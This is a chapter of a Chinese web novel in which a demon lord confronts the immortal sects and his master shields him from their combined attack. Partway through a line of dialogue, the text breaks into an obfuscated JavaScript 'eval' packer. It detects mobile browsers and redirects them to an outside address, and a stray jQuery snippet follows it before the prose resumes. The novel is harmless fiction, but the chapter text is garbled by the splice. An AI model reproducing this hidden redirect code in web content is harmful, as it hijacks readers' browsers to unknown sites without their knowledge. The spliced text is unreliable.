38. 心疼到滴血。

作品:《魔尊在上,师尊在下

    38.


    扑一声。


    黄金也噗通一下跪在地。


    黄银:“你跪什么?”


    黄金嗷出一嗓门:“腿腿腿软,扶我一把。”


    他双眼望天,生无可恋扒拉自家妹妹,嗓子破音:“妹妹呀!你哥哥可能要完!我当着陌兄的面骂了两个人,好家伙,两人都是他……完了完了!”


    黄银:“……”


    轻衣:“……”


    轻衣感慨万千:“原来青栀师兄尚在人世,待我好的,向来都是同一人。”


    随后,头也不回离开。


    黄银追上:“你去哪?”


    轻衣:“魔界的实力毋庸置疑,我就不自取其辱了,我去寻个风水宝地,立碑。”


    “啊?”


    黄金也急急忙弃剑,小跑跟过去:“你们带我一个,我将功赎罪。”


    人群中,一名模样十七岁左右的少年,眉眼柔和望向这三人。


    也尾随三人消失。


    仙门众人还懵在原地。


    丝毫未注意四人就这么众目睽睽下扬长而去。


    他们若被狠狠扇了一巴掌,火辣辣地痛!


    更是气得牙痒痒!


    这些日子,他们唯其马首是瞻的盟主,竟是魔界混进仙门,当了十年细作的左护法?


    足足十年!


    这魔界左护法潜入仙门十年,无一人得知,伏魔大会,还那般装模作样,结果那人从到到尾都与陌归尘,不,闻青栀这孽障,是一丘之貉,狼狈为奸。


    看戏呢!


    这两人背后都不知怎么偷着乐呢!真是把仙门耍得团团转!


    笑话!


    好大一场笑话!


    华云舟差点喷出口老血,自己昨日还告状到二竹弋跟前,求其做主,哪知所求之人竟是魔界中人,还是陌归尘的狗!


    自己可真是跳梁小丑!


    被戏耍至此。


    他愤懑、恼怒、憎恨……所有情绪一股涌起,堵在胸腔,结于心头难排遣。


    “得知我没死,”陌归尘恹恹斜觑仙门众人,“很失望?”


    面子挂不住的人,气得七窍冒烟,那还沉得住气,恨不能生啖陌归尘骨肉。


    纷纷叫嚣:“你这魔头别得瑟太早!”


    陌归尘桀骜不驯轻瞟:“我是魔,然后呢?”


    银丝被风糊到眼角,刺辣感叫人洇出点泪迹,他食指轻勾额角,撩起头发。


    “你们能奈我何?”


    刚还义愤填膺,脸色一阵青一阵白地唾骂泄愤之人,须臾间皆收口愣住。


    这撩发的动作,真是与西子捧心有异曲同工之妙。


    做者无心。


    观者却……被媚到了。


    不!


    自己怎会被一位男子媚到?


    邪术!


    绝对是邪术!


    对对对!就是邪术!只有邪术,方能比合欢宗还会狐媚惑人!


    众人又一顿恼羞成怒!


    恨不得将之斩之而后快,且取下魔头性命,怕是也能直至被推选为新一代仙盟盟主,功成名就,备受敬仰与瞩目。


    众人各怀心思。


    便又见这还没消停,他们的前任盟主,魔界左护法从储物戒里搬出张绣金丝木梨花软椅。


    那人还似嫌不够,竟贴心放下两个软枕靠背。


    抬手示意:“坐。”


    随后,更是朝陌归尘递上杯鲜榨的青提果汁。


    拿这伏魔大战当什么?


    陌归尘也没拒绝,敛敛衣摆坐下,抬手去接果汁。


    白净的指尖先压到杯口,碰着杯沿往下移,捏紧玉杯杯托,自顾自品尝。


    仙门百家无言以对,这战场于魔界而言,似戏台,他们仙门,就是台上的戏子,给对方演绎了一场弥天笑话。


    气煞我也!


    众人咬碎一口银牙,指关握得咔咔响,祭出法器:“你们魔界!别欺人太甚!”


    “然后呢?”


    那人慵懒托腮,明明也没说什么,众人却从那人脸上读出“就喜欢你们看不惯我,又打不过我的气急败坏模样”的戏谑来。


    尤在说:不爽啊?憋着。


    无任何实质伤害。


    羞辱感却极强。


    看得人脸色铁青,怒气冲天,却又偏生被这股子盛气凌人的姿态吸引。


    从前他们就知闻青栀姿容艳绝,褪去以往青涩,配上这头银发,竟又是另一番迷人。


    比魅魔还会魅惑人。


    难怪二竹弋那狗比会口出狂言“仙门十四州加起来,都不及无极魔尊风华绝代”。


    仙门百家陡然摇头!


    暗念清心咒。


    呸!


    必是下作邪术!


    华云舟:“如此戏耍我们,你很得意是不是?”


    他又缓缓开口:“果然,好人不长命,祸害遗千年!”


    陌归尘嗤之以鼻:“还挺会给自己脸上贴金。”


    “我有说错吗?”


    华云舟到底也是看着闻青栀长大的,这人看似随性而为,没心没肺,实则不过是因留不住,才故作潇洒。


    而他自然也清楚。


    陌归尘也许无所畏惧。


    但!


    于闻青栀而言,什么话最其诛心,最能一针见血痛击此人。


    华云舟冷笑,注视陌归尘,毫不留情解开那道伤疤:“闻青栀,你那么爱你二姐姐,怎么还不去陪她?”


    如觉不够,他又魔怔似的,在那道鲜血淋漓的疤痕上撒盐:“看来你的爱不过如此,廉价得紧!”


    锋利的言辞,化成钝刀。


    字字割肉。


    华云舟满脸得意,目光病态又扭曲,欣赏着陌归尘唇角那丝散漫的笑,凝固。


    愈渐敛起云淡风轻的姿态。


    一点一点失去意气风发。


    哐一声。


    玉杯摔落地面,撒出半杯青提汁。


    华云舟暗爽不已:“她那样好的人,凭什么拿命换你十年苟且偷生!”


    “闻青栀,该死的是你。”


    “你闭嘴!”


    “呵。”


    见人失态至此,华云舟还想加大剂量,天空倏然降下道气流,那风吹得人迷了眼。


    在场人顿时士气大振:


    “是玄胤仙尊!”


    “尊上要亲自手刃逆徒?”


    “自古仙魔不两立!仙尊乃仙门第一人,必不会徇私枉法!定是来大义灭亲的!”


    “那可真是大快人心!”


    ……


    白光降落陌归尘几步外。


    虚影顿时现身。


    陌归尘僵涩攥攥手指,匆匆撤走座下椅子,站起身来。


    端详徒弟装扮,闻笺恍惚一怔,梦回十年前。


    这套衣裳,乃至身上饰品,是十年前及冠那日,行及冠礼前,他亲手为徒弟挑选的。


    十年未见。


    他的徒弟做到名扬天下。


    顶峰相遇。


    他的徒弟却是早生华发。


    闻笺侧眸,望向魔界入口,瞬间透视千里,视线牢牢定在那座城楼。


    魔界本就地势最高耸,那座城楼更是魔界最高建筑,楼顶遍布徒弟气息。


    浓郁,而久不化。


    [倘若有天我们走散,那我便往高处爬,只要我站得足够高,师尊便定会来接我]


    勿怪徒弟说“造化弄人”。


    是师父的错。


    是师父来迟了。


    陌归尘低头,一遍又一遍掐诀净手,净得浑身一尘不染,才淡淡道:“师尊也来了?”


    他抬起头,眸中含着层雾气,酝酿许久,始终没化作泪水落下,只目不斜视闻笺:“是,我有罪,我供认不违。”


    “我觊觎师尊、残杀同门、勾结恶灵、叛出师门、堕落成魔、大逆不道,罪不容诛,死有余辜。”


    他挽出自嘲的笑:“所以师尊要来亲自清理门户?”


    片刻后,又高高拿起,轻轻放低道:“其实,师尊想杀我,开口便是,何须亲自动手?也不嫌我的血,脏了你的眼?”


    陌归尘朝闻笺抽出无双剑。


    握剑的手指一旋。


    剑身陡然翻转。


    剑尖直抵自己心口。


    若水河畔,八百里冰封的河面,在闻笺到来那刹,恢复浩瀚,奔流不息,更胜从前。


    浪潮声滚滚滔天。


    陌归尘止不住地想,幼时总爱赖在闻笺书房,黏着师尊,然后被趁机逮住念书写字。


    那会儿总感慨日子漫长,也不认真,简单连一句“鸟之将死,其鸣也哀,人之将死,其言也善”都不懂。


    如今却切实体会了一遭。


    陌归尘面向闻笺,一字一句道:“从前种种,譬如昨日死,从后种种,譬如今日生。”


    “从今往后,勿复相思,锦水汤汤,与君


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375725|140997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长诀。”


    而后,是片缄默。


    这场无声对峙中。


    对面人终于松动。


    他感知到,闻笺在向他伸手,喊的是他本名。


    那人说:“青栀,花开了。”


    花开了?


    落霞峰的栀子花开了?


    耳畔似飘过点对话:


    [等花开了,记得叫我来看]


    [嗯]


    所以……


    师尊不是来杀他的。


    师尊是来兑现承诺。


    事已至此,是非曲直,已不重要,有人愿意向他伸手。


    足矣。


    怔怔出神间,闻笺又问他:“眼睛怎么了?”


    陌归尘总以为自己伪装得很好,却又总有人一眼勘破他的逞强。


    他态度高傲强硬,当着仙门百家的面,撇清二人关系,冷然启唇:“与你何干。”


    打小就被闻笺调侃“两斤的猫,两斤反骨”,但并不影响师尊一如既往,包容他的冷嘲热讽。


    那人声音比往常哑涩,也比从前直白,倒显得矫情,险些吞没在若水河翻腾的水声里。


    闻笺说:“师父会心疼。”


    陌归尘正面向闻笺所在方向,以他的实力,双目失明固然瞧不见,但只要运起灵力,也能模糊感知世间万物。


    他感知到闻笺在看他。


    失明之人,余下感官通常会变得更为敏感,他听到闻笺的呼吸都停顿了一息半。


    足足一息半。


    那人才知向他问:“怎么害的眼疾?”


    ……


    观戏半天的仙门百家,见大魔头被仙尊牵制出神,藏在其中蠢蠢欲动的人,纷纷抓住机会,蓄力憋大招。


    生怕晚一步便吃了亏。


    顷刻,数以千计道灵力,以迅雷不及掩耳之势冲向陌归尘。


    生死霎那间。


    陌归尘就这么面向闻笺。


    他素来对闻笺不设防,只要闻笺在身侧,他的防御结界从不自动生效,连结界都这般信赖,便是最好证明。


    他也知仙门偷袭。


    陌归尘束手就擒收剑,并自暴自弃地想,死在旁人手中也好,免得自己的血脏了师尊炼制的剑,还得劳烦师尊擦剑。


    都要死了。


    就别再给师尊添麻烦罢。


    陌归尘缓缓阖眼。


    预想的痛感,久未袭来,倒是手腕缠上根把脉的灵线,眼帘虽阖,在那数不清的攻击汇聚而来时,滔天白光屏障于脚边竖起,刺得他眼睛生疼。


    强光源自他脖子,冲破天际。


    霎时吸收所有攻击。


    对面人也踉跄倒退半步,猛然跌跪,单膝拄地。


    咳出沉闷的一声。


    陌归尘不假思索扑过去接闻笺,崩断的纯白灵线,凌乱挂在二人交叠的绣袍。


    他搀扶闻笺:“你、”


    话未完,陌归尘又感受到锁骨上的吊坠黏腻不已,似乎滑下点液体。


    他摸上脖子,指尖挑进衣领,一把拽下吊坠,暖流附着指缝,淡腥甜味袭来,陌归尘鼻尖耸动,那是……血?


    竟是渗血!


    可骨质吊坠为何会滴血?


    他半扶半架闻笺,模糊感知到此人浑身渗出冷汗,大片水迹,浸湿衣衫,灵力急速枯竭衰退,颓然脆弱。


    他从未见过这样的闻笺,比起十年前挨一剑的那个夜,有过之而无不及。


    所以这人,又在瞒着他发了什么疯?一天天净折腾自己!


    真该锁起来!


    闻笺着实虚弱,需得赶紧带回魔宫疗伤,陌归尘无暇顾及太多,只侧眼,眉梢压出片彻骨冷意。


    手心紧攥染血吊坠。


    他居高临下睨视这群呆滞在原地的罪魁祸首。


    众人也难料这转变,那攻击分明是打在大魔头身上,遭到反噬的竟是玄胤仙尊!


    这这这……


    怎会如此?


    迎上陌归尘目光,皆是不寒而栗,慌乱收手,仍心有余悸,又自欺欺人把手藏到身后。


    大魔头的眼神,太可怕了,是毫不掩饰的杀意。


    那眸底簇动的火光,仿佛来自地狱的红莲业火,能将人烧成骨灰,烧得魂飞魄散,烧得永世不得超生。


    不知所措的人群,眉心突突乱跳,尤像做错事的孩子,讷讷顿住,只听到句宣判——


    “闻笺若死,本尊让你们仙门十四州陪葬。”